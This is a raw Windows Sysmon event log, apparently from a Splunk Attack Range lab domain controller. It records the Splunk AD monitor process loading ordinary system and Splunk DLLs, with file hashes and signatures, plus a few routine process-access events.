Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000049044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000049043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000049042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000049041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000049040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000049039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000049038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000049037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000049036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000049035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.341{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000049033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000049032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000049031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000049030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000049029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000049028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000049027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000049026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000049015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000049011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000049006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7289-613B-4D0B-00000000F001}6572C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:17.325{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 